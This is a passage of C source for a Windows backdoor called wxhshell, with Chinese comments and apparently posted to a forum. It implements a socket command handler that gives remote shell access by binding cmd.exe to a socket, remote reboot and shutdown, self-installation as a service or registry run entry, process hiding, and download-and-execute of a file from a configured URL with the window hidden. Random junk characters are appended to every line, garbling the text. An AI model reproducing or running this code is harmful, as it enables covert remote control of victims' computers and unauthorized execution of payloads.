  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xb9+-{<J  
  } p e+h8  
  else { aVc{ aP  
rZaO^}u]  
    switch(cmd[0]) { YE{t?Y\5  
  *`Vmncv3  
  // 帮助 `V\?YS}  
  case '?': { =D Q :0w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H;=Fq+  
    break; {A:uy  
  } DR:$urU$  
  // 安装 }AJoF41X  
  case 'i': { hp9U   
    if(Install()) je2_ .^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pxd=a!(  
    else bSX/)')jU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mOn_#2=KF  
    break; OVe0{} j  
    } DyGls8<\!  
  // 卸载 -YKy"   
  case 'r': { ]FTi2B{}H  
    if(Uninstall()) T:Klr=&V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY#:v%U  
    else 9N}\>L)_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @y`xFPB  
    break; G`>]ng  
    } `a|&aj0  
  // 显示 wxhshell 所在路径 !.$L=>:V  
  case 'p': { /+SLq`'u)  
    char svExeFile[MAX_PATH]; TxP +?1t  
    strcpy(svExeFile,"\n\r"); <L#d <lx  
      strcat(svExeFile,ExeFile); }>u `8'2v  
        send(wsh,svExeFile,strlen(svExeFile),0); H%>4z3n   
    break; y@!o&,,mq  
    } g)#{<#*2  
  // 重启 G,|!&=Pe|E  
  case 'b': { }>0>OqvF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yivu|q  
    if(Boot(REBOOT)) L8PX SJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tMiIlf!>p  
    else { Ls9NQy  
    closesocket(wsh); ~!r;?38V`  
    ExitThread(0); NSB6 2  
    } =ZIT!B?4  
    break; M }d:B)cz  
    } M[YFyM(  
  // 关机 A:r?#7 Ma  
  case 'd': { ~&73f7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eNAxVF0  
    if(Boot(SHUTDOWN)) ?s^3 o{!<W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TD}<U8I8_  
    else { 'YNdrvz  
    closesocket(wsh); 0^-1d2Z~  
    ExitThread(0); Wx GD*%  
    } &HM-UC|  
    break; w#9Kt W,tt  
    } =L" 0]4K  
  // 获取shell PFh ^Z L  
  case 's': { cu0IFNF}[  
    CmdShell(wsh); =79R;|5  
    closesocket(wsh); P6 OnE18n  
    ExitThread(0); JF4A  
    break; -Qn7+?P  
  } ]19VEH  
  // 退出 2L^)k?9>g+  
  case 'x': { {G:y?q'z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &oS$<  
    CloseIt(wsh); _]>1(8_N  
    break; YzI;)  
    } D%YgS$p[M$  
  // 离开 MCT1ZZpPr  
  case 'q': { G-Tmk7m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |HAJDhM,l  
    closesocket(wsh); G:1'}RC :  
    WSACleanup(); XWp8[Cx s  
    exit(1); Iv6 q(c  
    break; {q?&h'#y  
        } H0Pxw P>q  
  } Bvn3:+(47  
  } neDXzMxF  
6@J=n@J$p  
  // 提示信息 ZYwcB]xE z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WD[eoi  
} 7w/IHML  
  } #dA$k+3  
I9*cEZ!l=e  
  return; o|(5Sr&H  
} %X{EupiFA  
@Iv;y*y  
// shell模块句柄 fe?Z33V  
int CmdShell(SOCKET sock) RP&bb{Y  
{ 'jtC#:ePK  
STARTUPINFO si; Wp=3heCa6  
ZeroMemory(&si,sizeof(si)); $RaN@& Wm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *glZb;_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4]y)YNQ(  
PROCESS_INFORMATION ProcessInfo; pE4a~:  
char cmdline[]="cmd"; k&]nF,f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e<L@QNX  
  return 0; 7^q~a(j  
} m|@H`=`d  
9Eyx Ob  
// 自身启动模式 L[ G O6l  
int StartFromService(void) ??rS h Mu  
{ o%$.8)B9F  
typedef struct 9)q3cjP{<  
{ i--t ?@#  
  DWORD ExitStatus; *U?O4E9  
  DWORD PebBaseAddress; Ux [<g%F"  
  DWORD AffinityMask; [. 5m}V  
  DWORD BasePriority; m~ tvuz I  
  ULONG UniqueProcessId; #o.e (C  
  ULONG InheritedFromUniqueProcessId; Sqo+cZ  
}   PROCESS_BASIC_INFORMATION; 1o_kY"D<  
{meX2Z4  
PROCNTQSIP NtQueryInformationProcess; kN1MPd4Yh  
~GaGDS\V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X%1TsCKMj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^QB[;g.O  
RpHlq  
  HANDLE             hProcess; }'X=&3m  
  PROCESS_BASIC_INFORMATION pbi; &|>+LP@8  
24mdhT|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H"C'<(4*\  
  if(NULL == hInst ) return 0; ]n22+]D  
`BPTcL<W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %`vzQt`>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w2 )Ro:G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o u|emAV  
DX>a0-Xj  
  if (!NtQueryInformationProcess) return 0; W? iA P  
.J"N}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @=Kq99=\U  
  if(!hProcess) return 0; fV(3RG  
Lpchla$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pJpapA2l*6  
jcH@*c=%e  
  CloseHandle(hProcess); .1x04Np!  
^rkKE dd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PxHFH pL  
if(hProcess==NULL) return 0; pMc6p0  
fCl}eXg6w  
HMODULE hMod; ]Z JoC!u  
char procName[255]; DHidI\*gT  
unsigned long cbNeeded; ,g`%+s7u  
c}x1-d8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X'9.fKp  
)&DAbB!O  
  CloseHandle(hProcess); =BsV`p7rU  
{Z.6\G&q  
if(strstr(procName,"services")) return 1; // 以服务启动 }2A6W%^>]  
[&Xp]:M'D  
  return 0; // 注册表启动 p|4qkJK8  
} 97}]@xN=  
) "#'   
// 主模块 [\uR3$j#  
int StartWxhshell(LPSTR lpCmdLine) ! ,J# r  
{ 73WSW/^F  
  SOCKET wsl; o9?@jjqH  
BOOL val=TRUE; +>w]T\[1~  
  int port=0; ]6&NIz`:,  
  struct sockaddr_in door; W+nu=iQ!  
r );R/)&  
  if(wscfg.ws_autoins) Install(); /YKd [RQ  
9N ]Xa  
port=atoi(lpCmdLine); 7*'/E#M  
MfTLa)Rz  
if(port<=0) port=wscfg.ws_port; ]' mbHkn68  
\ /-c)  
  WSADATA data; .J#'k+>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *p l6 V|  
LzygupxY!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^\)a[OWp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WKf<% E$  
  door.sin_family = AF_INET; k#*-<1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `S&a.k  
  door.sin_port = htons(port); X@nBj;   
mgxIxusR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]wQ!ZG?)  
closesocket(wsl); v1h(_NLI!  
return 1; sE9FT#iE  
} ?5|;3N/zt  
dWY%bb  
  if(listen(wsl,2) == INVALID_SOCKET) { &}ZmT>q`$  
closesocket(wsl); N,ht<l\  
return 1; E3L?6Qfx>  
} I8F+Z  
  Wxhshell(wsl); T}~TW26v  
  WSACleanup(); BT{;^Hp  
^s,3*cAU  
return 0; yr]ja-Y  
\}-4(Xdaq  
} LyUn!zV$(  
BEZ~<E&0H  
// 以NT服务方式启动 <sdgL+&1h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &9k~\;x  
{  urp|@WZ  
DWORD   status = 0; ^({)t  
  DWORD   specificError = 0xfffffff; c,UJ uCZ  
(su,= Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?}||?2=P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SNEhP5!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c0Ug5Vr  
  serviceStatus.dwWin32ExitCode     = 0; gW, [X(  
  serviceStatus.dwServiceSpecificExitCode = 0; <Ij!x`MS+  
  serviceStatus.dwCheckPoint       = 0; 5'lVh/  
  serviceStatus.dwWaitHint       = 0; 2:+8]b3i  
E}^V@ :j>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k(Yz2  
  if (hServiceStatusHandle==0) return; xh6(~'$  
|9@,ri\'Rg  
status = GetLastError(); 0SpB 2>_  
  if (status!=NO_ERROR) :\T Mm>%q  
{ >T$0*7wF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W? 7l-k=S  
    serviceStatus.dwCheckPoint       = 0; G1:}{a5i_  
    serviceStatus.dwWaitHint       = 0; s"(RdJ-,  
    serviceStatus.dwWin32ExitCode     = status; *k$[/{S1-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~cz}C("Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !}*N';  
    return; <H[w0Z$  
  } OY*y<>  
{sTf4S\S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BU nujC  
  serviceStatus.dwCheckPoint       = 0; ,5'o>Y  
  serviceStatus.dwWaitHint       = 0;  <,.$U\W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D(cD8fn,J  
} b#2)"V(  
uLms0r\@!  
// 处理NT服务事件,比如:启动、停止 za l]t$z>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _S!^=9bJ  
{ #-az]s|N  
switch(fdwControl) ^[ae )}  
{ s"L&y <?)  
case SERVICE_CONTROL_STOP: .X g.,kW  
  serviceStatus.dwWin32ExitCode = 0; >OG189O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z%&FLdXgW+  
  serviceStatus.dwCheckPoint   = 0; ~Ps*i]n(  
  serviceStatus.dwWaitHint     = 0; G T>'|~e  
  { <J%qzt}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T/$ gnn  
  } o<g?*"TRh  
  return; /%$Zm^8c  
case SERVICE_CONTROL_PAUSE: LUbhTc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +cpb!YEAb  
  break; 1nVQYqT_  
case SERVICE_CONTROL_CONTINUE: 2g(_Kdj*{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qLR;:$]Q&8  
  break; t]c<HDCK  
case SERVICE_CONTROL_INTERROGATE: YOxgpQ:i  
  break; cS&KD@.  
}; O7.V>7Y9H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,@"yr>Q9#6  
} *i#2>=)  
z$^d_)  
// 标准应用程序主函数 So5/n7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Za.}bR6?Y  
{ [d`Jw/4n  
YSjc=  
// 获取操作系统版本 {R$`YWk  
OsIsNt=GetOsVer(); =dm9+ff  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =fSTncq  
o)Q4+njT@  
  // 从命令行安装 XY0kd&N8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3 9 8)\3o  
;W0J  
  // 下载执行文件 0'&C5v'  
if(wscfg.ws_downexe) { vgW(l2,@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hvt]VC]]  
  WinExec(wscfg.ws_filenam,SW_HIDE); \e a*  
} Quth5  
}OkzP)(  
if(!OsIsNt) { .0Ud?v>=  
// 如果时win9x,隐藏进程并且设置为注册表启动 6:_~-xG  
HideProc(); a%q,P @8  
StartWxhshell(lpCmdLine); %p7 ?\>  
} +V=<vT  
else k|fM9E  
  if(StartFromService()) 5 nt3gVy  
  // 以服务方式启动 01Jav~WR  
  StartServiceCtrlDispatcher(DispatchTable); +\dVC,,=^g  
else $G=^cNB|JB  
  // 普通方式启动 0jp].''RK\  
  StartWxhshell(lpCmdLine); AArLNXzVW  
l&& i`  
return 0; LP3#f{U  
}
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只看该作者 1 发表于: 2006-10-10
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